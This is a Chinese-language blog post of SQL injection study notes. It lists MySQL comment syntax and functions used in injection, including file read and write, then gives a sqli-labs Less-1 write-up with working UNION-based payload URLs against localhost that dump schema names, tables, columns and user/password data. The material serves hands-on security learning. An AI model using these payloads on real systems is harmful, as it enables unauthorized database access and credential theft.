本文最后更新于:星期五, 五月 15日 2020, 10:21 上午

SQL学习笔记

SQL基础

注释语句

单行注释:

  • 以“#”号开头,直到该行行尾,全部都是注释内容
  • 以“– ”号开头,直到该行行尾,全部都是注释内容。(“– ”与注释内容之间要加有空格)

多行注释: /……/,“/”用于注释文字的开头,“/”用于注释文字的结尾。

常用函数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()unhex():用于 hex 编码解码
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

MYSQL常规注入步骤

爆数据库名
select schema_name from information_schema.schemata
爆表名
select table_name from information_schema.tables where table_schema=''
爆列名
select column_name from information_schema.columns where table_name=''
爆出某列的内容
Select xxx from xxx

sqli-labs一个练习SQL注入的靶场

writeup

Less-1

payload

尝试id=1'报错,尝试id=1' and 1=1 %23 不报错    %23是#字符
说明这个是个单引号闭合
最终payload为http://localhost/sqli/Less-1/?id=1’ and 1=1 %23

练习下MYSQL的常规注入操作
爆破字段数
http://localhost/sqli/Less-1/?id=1’ order by 4 %23
爆数据库名
http://localhost/sqli/Less-1/?id=1’union select 1,group_concat(schema_name),3 from information_schema.schemata%23
爆表名
http://localhost/sqli/Less-1/?id=1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "test" %23
爆列名
http://localhost/sqli/Less-1/?id=1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "hack" %23
爆内容
http://localhost/sqli/Less-1/?id=1’ union select group_concat(id),group_concat(user),group_concat(pwd) from hack %23

Less-2


web SQL注入

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!